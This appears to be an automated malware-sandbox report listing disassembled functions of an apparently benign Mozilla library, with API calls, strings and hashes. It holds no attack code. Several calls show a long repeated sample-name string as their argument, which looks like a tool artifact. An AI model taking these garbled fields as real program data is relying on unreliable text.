Opcode ID: 309776b3ac5c6c477981a216ad3cbcb48154ed1d9b0f114e1966721bc234738a
Instruction ID: 12f8b8525e852702d4bf4ea79d0b0d34f76d6b17b5e3a455ced689d19e6b1bdb
Opcode Fuzzy Hash: 309776b3ac5c6c477981a216ad3cbcb48154ed1d9b0f114e1966721bc234738a
Instruction Fuzzy Hash: A81106B6305204AFDB04AF69C9499E67BB9FF8636DB150419FA05C3F01CB71B865CBA0

Function 6CAA1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CAA1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CAA1FFD
__Init_thread_footer.LIBCMT ref: 6CAA2011
FreeLibrary.KERNEL32 ref: 6CAA2059

Strings

CoCreateInstance, xrefs: 6CAA1FF7
combase.dll, xrefs: 6CAA1FD9

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: a8c235b5ca5075983b520e8978fbcb0e84a725c0fbdbd00b5d37c74162a507d6
Instruction ID: 11c7a966625ec68c0e95e5f4a9c44d85f358bd43073f081cdfcb81499f51eea6
Opcode Fuzzy Hash: a8c235b5ca5075983b520e8978fbcb0e84a725c0fbdbd00b5d37c74162a507d6
Instruction Fuzzy Hash: 8D114FB9605244AFDF10CF56C94FE9A3B79EB46365F044129E90983E40E7319C51CFA1

Function 6CAA0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CACD9F0,00000000), ref: 6CAA0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CAA0F3C
__Init_thread_footer.LIBCMT ref: 6CAA0F50
FreeLibrary.KERNEL32(?,6CACD9F0,00000000), ref: 6CAA0F86

Strings

combase.dll, xrefs: 6CAA0F18
CoInitializeEx, xrefs: 6CAA0F36

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 4659cac769c1eb60cdbf97eac3693f608f345c5fd89863b6817f924d952bb97a
Instruction ID: 646d5327600877ef656401463f91fddca17b9118911751a58a04ddee3c3359f6
Opcode Fuzzy Hash: 4659cac769c1eb60cdbf97eac3693f608f345c5fd89863b6817f924d952bb97a
Instruction Fuzzy Hash: 5F118275705280DBDF00CF98CA1AE5A3BB5EB4A325F044629E906A3F40D731EC46CB55

Function 6CADF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADF561

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

GetCurrentThreadId.KERNEL32 ref: 6CADF577
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADF585
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADF5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CADF3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CADF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CADF56A
[I %d/%d] profiler_resume, xrefs: 6CADF239

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 9ca1a96322e7bd414ec32f073fc73080819979ff37735d8d7d05ca6a470721ca
Instruction ID: 5cb48c7b91c06749eff8d5067554196ecef3661abf126559d8ce7659a015f6f1
Opcode Fuzzy Hash: 9ca1a96322e7bd414ec32f073fc73080819979ff37735d8d7d05ca6a470721ca
Instruction Fuzzy Hash: 01F0B4F62002009FEE006B659C4AA6A7BBCEB862ADF010415FA05C3F02DB719805C760

Function 6CADF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CADF598), ref: 6CADF621

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

GetCurrentThreadId.KERNEL32 ref: 6CADF637
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000,?,6CADF598), ref: 6CADF645
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000,?,6CADF598), ref: 6CADF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CADF62A

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: e4f8b0df96f45965506266da9b60a360218aea636ec710a1fc567d99813634a8
Instruction ID: e9a294dcc4b589828f6181d22fc08fb0aefb8a950bb9cb6a990e5601eaf0a355
Opcode Fuzzy Hash: e4f8b0df96f45965506266da9b60a360218aea636ec710a1fc567d99813634a8
Instruction Fuzzy Hash: 06F054B6200244AFEE006B659C4AA9A7BBDEB862ADF050415FA05C3F42DB755805C765

Function 6CAA0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CAA0DF8), ref: 6CAA0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CAA0EA1
__Init_thread_footer.LIBCMT ref: 6CAA0EB5
FreeLibrary.KERNEL32 ref: 6CAA0EC5

Strings

kernel32.dll, xrefs: 6CAA0E7D
GetProcessMitigationPolicy, xrefs: 6CAA0E9B

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: dfcdd954402fe779cf5c31bed13f22428ce7ad89afbc3026bd5b0d5bfd57cbf5
Instruction ID: e0e19f4c0d1fea3216961b63c649303241aee543c0626feecacc075f0f71229e
Opcode Fuzzy Hash: dfcdd954402fe779cf5c31bed13f22428ce7ad89afbc3026bd5b0d5bfd57cbf5
Instruction Fuzzy Hash: C00146B97002C18BDF108FE8D95AA5277B6E727328F144529D92683F60DB30A889DA02

Function 6CAD05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CACCFAE,?,?,?,6CA931A7), ref: 6CAD05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CACCFAE,?,?,?,6CA931A7), ref: 6CAD0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA931A7), ref: 6CAD061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA931A7), ref: 6CAD0627

Strings

<jemalloc>, xrefs: 6CAD05FA, 6CAD060F
: (malloc) Error in VirtualFree(), xrefs: 6CAD061B, 6CAD0625

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: fd340b16cf3874ac36d5fbefce059c78c26a1f6a9c1ec97e6a758a1d67561d86
Instruction ID: 7cbb4b77949d28c97beb16ecc22c8382f3ec9559d06c23d56b3e86e47a9cd024
Opcode Fuzzy Hash: fd340b16cf3874ac36d5fbefce059c78c26a1f6a9c1ec97e6a758a1d67561d86
Instruction Fuzzy Hash: F7E08CE2A1105037F5142256AC86EBB7A1CEBC6134F080039FD0D83301EA5AAD1A51F7

Function 6CAA05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73eaf3d9f0f67a648ff8e17dbb435bfbb1812d728fe3a1b775bc348ec0390180
Instruction ID: 99df08bf13873c56fe910b1b55b9f6bb4fff346ae51c951b3d821bfc4ff0c61d
Opcode Fuzzy Hash: 73eaf3d9f0f67a648ff8e17dbb435bfbb1812d728fe3a1b775bc348ec0390180
Instruction Fuzzy Hash: B4A148B0A01645CFDB14CF69C594A9AFBF1BF49304F44866ED44A97B00E770A98ACF90

Function 6CAF14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAF14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAF14E2
GetCurrentThreadId.KERNEL32 ref: 6CAF1546
InitializeConditionVariable.KERNEL32(?), ref: 6CAF15BA
free.MOZGLUE(?), ref: 6CAF16B4

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: af3bf291d785dcc956ce3d1614f13cb1b028c6002db6cfef4f91c6eab8c7d9dc
Instruction ID: 5be485914b5b60af5b00cff555075daeb40d26aa0aec4cf4669608aa457d8eb3
Opcode Fuzzy Hash: af3bf291d785dcc956ce3d1614f13cb1b028c6002db6cfef4f91c6eab8c7d9dc
Instruction Fuzzy Hash: 8761F1B2A007449BDB118F20D980BEEB7B5BF89308F04851CFE9A57701DB35E989CB91

Function 6CAE9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAE9FDB
free.MOZGLUE(?,?), ref: 6CAE9FF0
free.MOZGLUE(?,?), ref: 6CAEA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAEA0BE
free.MOZGLUE(?,?), ref: 6CAEA0D5
free.MOZGLUE(?,?), ref: 6CAEA0EB

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6eb7721d951c4eaf382a9917aead08ea06e0b32b73f11437f39836eebd89d0f7
Instruction ID: 32a338ce5bbfeacb20956f9f0ee90e125ff46e62b2f50f57ac5da631625a24ca
Opcode Fuzzy Hash: 6eb7721d951c4eaf382a9917aead08ea06e0b32b73f11437f39836eebd89d0f7
Instruction Fuzzy Hash: 356191755087419FC712CF18C58059AB7F5FF88328F548659E8999BB02E732E9CACBC1

Function 6CA9CFE0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E784), ref: 6CA9CFF6
LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA9D026
VirtualAlloc.KERNEL32(00000000,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,00001000,00000004), ref: 6CA9D06C
VirtualFree.KERNEL32(00000000,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,00004000), ref: 6CA9D139

Strings

MOZ_CRASH(), xrefs: 6CA9D187
upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx, xrefs: 6CA9D04F, 6CA9D11A

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()$upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx
API String ID: 1090480015-568492476
Opcode ID: bde94c5bdebf789e28ea97132e71acff1c0b4bad8bd5bbc03b3b999d227f0941
Instruction ID: 5c8814e732802a380290c03d90c3d00becec762da96e058aeb3f26ffe2fd4321
Opcode Fuzzy Hash: bde94c5bdebf789e28ea97132e71acff1c0b4bad8bd5bbc03b3b999d227f0941
Instruction Fuzzy Hash: 2041AF72F112164FEF058E6C8D9A76E76F0EB59714F280139EA19E7F84D7A19C808BC1

Function 6CAEDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAEDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CAED38A,?), ref: 6CAEDC6F
free.MOZGLUE(?,?,?,?,?,6CAED38A,?), ref: 6CAEDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CAED38A,?), ref: 6CAEDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CAED38A,?), ref: 6CAEDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CAED38A,?), ref: 6CAEDD4A

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: f005d730ff9b41bd75bffc1352d355c46f0f5752656ce7b5396efa80dffa3d06
Instruction ID: cab10a4c589e45dfaf0f3e12f82e2c69a63c1933378b835716d60d73e97f24b8
Opcode Fuzzy Hash: f005d730ff9b41bd75bffc1352d355c46f0f5752656ce7b5396efa80dffa3d06
Instruction Fuzzy Hash: A14125B5A002158FCB00CFA9C98099AB7B6FF8D314B554569D945ABB11D771FC44CBD0

Function 6CAD6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CACFA80: GetCurrentThreadId.KERNEL32 ref: 6CACFA8D
Part of subcall function 6CACFA80: AcquireSRWLockExclusive.KERNEL32(6CB1F448), ref: 6CACFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAD6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CAD67C8

Part of subcall function 6CAE4290: memcpy.VCRUNTIME140(?,?,6CAF2003,6CAF0AD9,?,6CAF0AD9,00000000,?,6CAF0AD9,?,00000004,?,6CAF1A62,?,6CAF2003,?), ref: 6CAE42C4

Strings

data, xrefs: 6CAD6593

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 4bff0cc6f5211f000099a319d98ed68d9c26c2ff0b4f3588176199cb899a2b74
Instruction ID: 20d2209ca23542407ebd062e7bc3db51b94b4daf894acc4ad1297b834f940f95
Opcode Fuzzy Hash: 4bff0cc6f5211f000099a319d98ed68d9c26c2ff0b4f3588176199cb899a2b74
Instruction Fuzzy Hash: F7D1D075A083408FD724CF64D951BAFBBF5AFD5308F14492DE48987B91DB30A889CB92

Function 6CAECCF0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CADDA31,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?,?,00000000,?), ref: 6CAECDA4

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

Part of subcall function 6CAED130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?,6CAECDBA,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?,00000000,?,6CADDA31,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?,?,00000000,?), ref: 6CAED158
Part of subcall function 6CAED130: InitializeConditionVariable.KERNEL32(00000098,?,6CAECDBA,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?,00000000,?,6CADDA31,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?,?,00000000,?), ref: 6CAED177

